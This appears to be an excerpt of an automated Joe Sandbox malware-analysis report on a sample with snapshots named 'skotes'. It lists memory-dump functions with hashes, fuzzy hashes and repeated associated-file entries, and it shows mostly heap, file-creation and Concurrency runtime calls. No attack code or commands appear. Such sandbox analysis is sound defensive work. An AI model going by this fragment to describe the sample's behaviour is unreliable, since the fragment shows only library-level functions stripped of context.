Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e095501f5d170f3e9d15f48ecf4ed161bc2403b1ec51525dcb97efe8bfdc4a0b
Instruction ID: cf4dbda9ab35f388485844aed4caf2430aa71bce2047c3f2818f3b8e51cf4c9f
Opcode Fuzzy Hash: e095501f5d170f3e9d15f48ecf4ed161bc2403b1ec51525dcb97efe8bfdc4a0b
Instruction Fuzzy Hash: 00E06D35345A259AEB3132659C02FBBA64BDF413B0F25322DED64A72A0DB51DD0081E5

Function 006D1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,006D1B65,?,?,00000000,?,006D1B65,00000000,0000000C), ref: 006D1792

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6e5767dd3ab515d3fb7588b1e64a2751da81405e818a63400786ab0e35ee43b1
Instruction ID: c562a62aa24c1adbd7ba4f0cc0e6ba1e62c4f11252429a48face9ac9cc7fd93b
Opcode Fuzzy Hash: 6e5767dd3ab515d3fb7588b1e64a2751da81405e818a63400786ab0e35ee43b1
Instruction Fuzzy Hash: B5D0923614010DBBDF129E84DC06EDA3FAAFB8C714F014100FE1C66020C772E931AB95

Function 051A01ED Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355ff06d74addbe4490ce075f7a78d54b4b0adcbda76c410e4a2f016d7f794b4
Instruction ID: a4aa7c7f95d34f5a31ec8a0be113a099169fe38edadfa54acf1b4b01f162a900
Opcode Fuzzy Hash: 355ff06d74addbe4490ce075f7a78d54b4b0adcbda76c410e4a2f016d7f794b4
Instruction Fuzzy Hash: 9321AE9F18C2107EE16BC6955A4CAF56B6BBADB3303324067F04386942E3D84B1A5131

Function 051A02E9 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 452b01500d5de66bf388f16654b5c906804bbbbbb0ee40b4211510f64425ab04
Instruction ID: bed97891808db4d4821e92ce0ea92ea1752365c6f53a4bbae18da9bf096906e4
Opcode Fuzzy Hash: 452b01500d5de66bf388f16654b5c906804bbbbbb0ee40b4211510f64425ab04
Instruction Fuzzy Hash: AB21A1AF18D210BEA16BD18A2B5CAF66B6FB9DB7303718027F007D5642E3C84A5D5131

Function 051A027A Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2e79f731ff044a1b95457a16fb558ea7e66979023baf169d7cf52699a683c42
Instruction ID: 568e62b25d6bc0266766937d95cead210595e2c71563b3ec1d669451f2d68702
Opcode Fuzzy Hash: e2e79f731ff044a1b95457a16fb558ea7e66979023baf169d7cf52699a683c42
Instruction Fuzzy Hash: 4D116DEF18C210BEA16BD58A2B4CAF66A6FF5DB3703718026F403D5642E3D84E5D6131

Function 051A0288 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcb7bdc2fd9e93fb11109e9debb3abbb6a87e3dc3da7ecd23fcd57bbb3b0a73
Instruction ID: 86b5ee9bbdf24f5fa16a6ba66d82279712c0bd62e2d082cbd784c013cad33987
Opcode Fuzzy Hash: 6bcb7bdc2fd9e93fb11109e9debb3abbb6a87e3dc3da7ecd23fcd57bbb3b0a73
Instruction Fuzzy Hash: B7119DEF188110BEA16BC18A6B58AF66A6FFADB3303318026F407D5642A3D84E5D5031

Function 051A02AA Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c8eb0d7beb18b319ec23c27aa6476af3802107d5a9e24248c0bdae8d247eaee
Instruction ID: 4f9a4774bca375c0bca48fc1a1b801e27a226c447bacc3f4cf58cd400bcbe113
Opcode Fuzzy Hash: 7c8eb0d7beb18b319ec23c27aa6476af3802107d5a9e24248c0bdae8d247eaee
Instruction Fuzzy Hash: 0211CDEF18D2107EE267C5862B4CAB66B2FFADB3303318066F442D4542E3D84A5D5131

Function 051A0315 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba72039fcdaf75924b65634944527952c44b84db850ace528b4c38b52f17a786
Instruction ID: d0ee80849b98b2e9cd2d77ff9aee0871a6b793148e7abd43be299ca9a419d5bc
Opcode Fuzzy Hash: ba72039fcdaf75924b65634944527952c44b84db850ace528b4c38b52f17a786
Instruction Fuzzy Hash: E51170EF188110BEA1ABD58A6B4CAF56A6FB9DB3303318026F043D5902E3D85E5D5031

Function 051A030B Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3c80213689691a6c9fe38b91d8896ecd09b4a2240ccf0a0f7258fc641a4d7f6
Instruction ID: cc66f9187df7e0dcb9ef42d703b6e6d3c3f877dfc7dcbb3d68327fb3385b0b2d
Opcode Fuzzy Hash: c3c80213689691a6c9fe38b91d8896ecd09b4a2240ccf0a0f7258fc641a4d7f6
Instruction Fuzzy Hash: ED0144DF1881107EA16BD18A1B4CEF5AA6FB9DB3303714166F043D1542E3D84F5D6031

Function 051A0340 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03b391406aee22687d9aeca38b762777dd17c8bdc7ea1fb1d544985612a8361a
Instruction ID: 4b8383fd690f6e2ff092cdda441258caae390afb57f5a7e4bcc19d78827bc775
Opcode Fuzzy Hash: 03b391406aee22687d9aeca38b762777dd17c8bdc7ea1fb1d544985612a8361a
Instruction Fuzzy Hash: 0DF081EF18C2107EA157D18A2B4CAF6AA6FB9D73703708476F482D1503E2C84B0D6131

Function 051A0362 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb28cf0b78fdf272b1c7301786ac8ac581febcc2aaf70e3ed1d54fc3e75f1aed
Instruction ID: 0cbd1802a92be37d969acd76fe7563949288b0600a2a4f755f02c79a498dbf4b
Opcode Fuzzy Hash: fb28cf0b78fdf272b1c7301786ac8ac581febcc2aaf70e3ed1d54fc3e75f1aed
Instruction Fuzzy Hash: B9F08CEF1881106EA167D18A2B4CAB6AA6FB9DB3303718476F042D1502E3C88B4E6031

Function 051A037E Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7290992998.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e68fc19c9b2a2b2a8e4e6ce7492a46f75c39b686cd0647d2d34d5810f78efba
Instruction ID: d9b6c55e43758762e49c842f1fb02cdf273bc2168ccd8f020ac3aade49f90e8a
Opcode Fuzzy Hash: 7e68fc19c9b2a2b2a8e4e6ce7492a46f75c39b686cd0647d2d34d5810f78efba
Instruction Fuzzy Hash: B9F01CAF1886106EA156D1862B1CAF5AAAFF5D73303B1853AF482D1502E2D84F5D6131

Non-executed Functions

Function 006B0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B0F62

Part of subcall function 006B265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 006B2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 006B0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006B106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006B10C1

Strings

(, xrefs: 006B0F22

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: eea3053fcd5dc65a5d5d283ba0891f83629c7468b9757b9bd35fd8cbd170a0df
Instruction ID: 50a979f11f0413a4db4c40a8ff6cb0cb438c61f082b3eb4f38be66b4db2aa4dc
Opcode Fuzzy Hash: eea3053fcd5dc65a5d5d283ba0891f83629c7468b9757b9bd35fd8cbd170a0df
Instruction Fuzzy Hash: AFB15DB0A00615EFDB28DF58D9A1ABABBB6FF45300F14416DE906AB351D730ED81CB94

Function 006B1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006B2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 006B2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 006B1614

Part of subcall function 006B2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 006B2E39
Part of subcall function 006B2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 006B2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 006B1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006B17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006B17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 006B17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006B180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006B181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 006B1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 006B183B

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 25b749f851ad6ec8d6a2671d307a113e3cfd3b840da21c0434cb0e25a7957147
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: B3816CB1E00225AFCB18CFA8C5A49ADB7F6FF49304B5546ADD445AB701DB30AD92CB84

Function 006BEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006BEC81

Part of subcall function 006B8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 006B8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006BECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 006BECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 006BED0C

Part of subcall function 006BE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 006BE7D7
